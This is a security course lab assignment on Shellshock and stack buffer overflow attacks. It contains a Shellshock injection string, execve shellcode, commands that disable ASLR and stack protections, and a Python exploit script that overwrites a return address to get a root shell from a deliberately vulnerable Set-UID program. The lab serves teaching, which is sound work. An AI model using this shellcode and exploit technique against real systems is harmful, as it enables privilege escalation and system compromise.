**Shellshock Attack and Buffer Overflow Attack**

**1. Overview**

The learning objective of this lab is for students to understand Shellshock vulnerability and buffer overflow vulnerability, and gain the first-hand experience on shellshock attack and buffer overflow attack and their impacts on the target programs by putting what they have learned from class into action. The lab covers the following topics:

* Shell function
* Shellshock vulnerability and attack
* Stack layout
* Buffer overflow vulnerability and attack
* Shellcode
* Countermeasures to buffer overflow attack

**2. Lab Tasks**

**2.1 Task 1: Shell function and Shellshock**

In this task, we study the shell function and Shellshock vulnerability, including how to pass a shell function to child process, why Shellshock vulnerability happens, and how this Shellshock vulnerability is leveraged to formulate Shellshock attack.

* Define a shell function using environment variable method with the following information (please replace firstname with your first name):

**Function name:** foo

**Function body:** echo "firstname";

The function definition format using environment variable is

function name='() { function body }'

After the function definition, pass the defined environment variable to the child process using export foo command.

* Run bash\_shellshock to invoke a shell program in the child process. Under the shell in the child process, run echo $foo and declare -f foo. Describe your observation on these two executions, and explain why these two running results are different. Also, is foo still an environment variable or shell function? If it is a shell function, please run foo and describe the function output.
* Change the function information and re-define this shell function foo using environment variable method as follows:

foo**=**'() { echo "firstname"; }; /usr/bin/cal;'

Run export foo command to pass the shell variable to the child process. After that, run bash\_shellshock again. Describe your observation, and explain why that happens.

**2.2 Task 2: Turning off countermeasures and running shellcode**

Before starting the buffer overflow attack, let us turn off the countermeasures and get familiar with the shellcode. A shellcode is the binary code to launch a shell program. It has to be loaded into the memory so that we can force the vulnerable program to jump to it for direct execution.

* The following code shows how to launch a shell by executing a shellcode stored in a buffer.

/\* shellcode.c \*/

#include <string.h>

const char code[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"

"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main()

{

char buffer[sizeof(code)];

strcpy(buffer, code);

((void(\*)( ))buffer)( ); //Execute the shellcode

}

* Compile the above code shellcode.c to shellcode using the gcc command:

gcc -z execstack shellcode.c -o shellcode

Run the program shellcode. Describe your observation. Explain why we need to add gcc option -z execstack here.

* Remove -z execstack, and then recompile the code shellcode.c to shellcode using the gcc command:

gcc shellcode.c -o shellcode

Run the program shellcode. Describe your observation. Explain why that happens.

* Considering the following program, and compile random.c to random:

/\* random.c \*/

#include <stdio.h>

#include <stdlib.h>

int main()

{

char x[12];

char \*y = malloc(sizeof(char)\*12);

printf("Address of buffer x: 0x%x\n", (unsigned int) x);

printf("Address of buffer y: 0x%x\n", (unsigned int) y);

}

* Change the address randomization setting:

sudo sysctl -w kernel.randomize\_va\_space=0

Run the program random twice. Describe your observation if the printed outputs are the same for these two executions. Explain why that happens.

* Change the address randomization setting again using the following command:

sudo sysctl -w kernel.randomize\_va\_space=1

Rerun the program random twice. Describe your observation and explain why. After that, change the randomization setting using the following command:

sudo sysctl -w kernel.randomize\_va\_space=2

Rerun the program random twice. Describe your observation and explain why.

* Considering the following program, run gcc -S stackguard.c to get the assembly code. Based on the assembly instructions in stackguard.s, please explain how StackGuard is implemented through compilation to defend against buffer overflow attack.

/\* stackguard.c \*/

#include <string.h>

#include <stdio.h>

#include <stdlib.h>

void foo(char \*str)

{

char buffer[12];

strcpy(buffer, str);

}

int main(int argc, char \*argv[])

{

foo(argv[1]);

printf("Return properly \n\n");

return 0;

}

**2.3 Task 3: Debugging the vulnerable program and find the frame pointer ebp**

In this task, we study how we can analyze the vulnerable program and find the frame pointer ebp that can be used to calculate the address of the malicious code with offset and construct the badfile for buffer overflow attack.

* Consider the following vulnerable program:

/\* stack.c \*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int foo(char \*str)

{

char buffer[100];

strcpy(buffer, str);

return 1;

}

int main(int argc, char \*\*argv)

{

char str[400];

FILE \*badfile;

badfile = fopen("badfile", "r");

fread(str, sizeof(char), 300, badfile);

foo(str);

printf("Returned Properly\n");

return 1;

}

Compile stack.c to stack\_gdb:

sudo sysctl -w kernel.randomize\_va\_space=0

gcc stack.c -z execstack -fno-stack-protector -g -o stack\_gdb

Create a file badfile to guarantee that the program can be executed correctly:

touch badfile

After that, debug stack\_gdb using gdb command:

gdb stack\_gdb

* Inside the debugging environment, set a break point at function foo:

b foo

Then run the program using run command. After running the program, print out the value of the frame pointer ebp:

p $ebp

Describe your observation: what is the value of frame pointer ebp?

**2.4 Task 4: Exploit the buffer overflow vulnerability**

In this task, we study how we can exploit the buffer overflow vulnerability to launch a buffer overflow attack, which compromises the Set-UID program stack.c and causes it to invoke a shell program with root privilege. Since we have found the value of frame pointer ebp, we can proceed with the construction of the badfile.

* First, remove the badfile created in the last task: rm -f badfile
* Update the python code exploit.py that is used to create badfile by replacing 0xAAAAAAAA in the code with the value of frame pointer ebp you find in Task 3.

#!/usr/bin/python3

#exploit.py

import sys

shellcode= (

"\x31\xc0" # xorl %eax,%eax

"\x50" # pushl %eax

"\x68""//sh" # pushl $0x68732f2f

"\x68""/bin" # pushl $0x6e69622f

"\x89\xe3" # movl %esp,%ebx

"\x50" # pushl %eax

"\x53" # pushl %ebx

"\x89\xe1" # movl %esp,%ecx

"\x99" # cdq

"\xb0\x0b" # movb $0x0b,%al

"\xcd\x80" # int $0x80

"\x00"

).encode('latin-1')

# Fill the content with NOP’s

content = bytearray(0x90 for i in range(300))

# Put the shellcode at the end

start = 300 - len(shellcode)

content[start:] = shellcode

##############################################################

ret = 0xAAAAAAAA + 120 # update 0xAAAAAAAA with the ebp value

content[112:116] = (ret).to\_bytes(4,byteorder='little')

##############################################################

# Write the content to badfile

with open('badfile', 'wb') as f:

f.write(content)

* After updating the code, run the python program exploit.py to create badfile:

python3 exploit.py

* Compile the vulnerable program stack.c to stack with countermeasures turned off:

sudo sysctl -w kernel.randomize\_va\_space=0

gcc stack.c -z execstack -fno-stack-protector -o stack

* Change the owner of stack to root, and turn on its set-UID bit.
* The shellcode invokes a shell program /bin/sh. By default, /bin/sh is a symbolic link pointing to dash which will automatically drop root privilege in a Set-UID process. To demonstrate the attack, please run the command to link /bin/sh to /bin/zsh:

sudo ln -sf /bin/zsh /bin/sh

* Run the program stack, and describe your observation if you have successfully caused the vulnerable program to invoke a shell program and explain why that happens.
* Also, describe if the shell has root privilege or not (use id command to print out the effective UID to justify the root privilege).
* Run exit to jump out of the shell program. Then run the following command to link /bin/sh to /bin/dash:

sudo ln -sf /bin/dash /bin/sh

Since dash will automatically drop root privilege in a Set-UID process, please update the shellcode in exploit.py to invoke “/zsh” instead of “//sh”. After that, remove the badfile created (rm -f badfile), and rerun the python program exploit.py to create new badfile. Then rerun the Set-UID program stack. Describe your observation if you have successfully caused the vulnerable program to execute a root shell. If yes, please run the following code under the root shell to justify the root privilege:

sudo touch /etc/labassignment3

echo "This is lab assignment 3" > /etc/labassignment3

cat /etc/labassignment3

**3. Submission**

You need to submit a detailed lab report with screenshots and descriptions what you have done and what you have observed. You also need to provide explanation to the observations.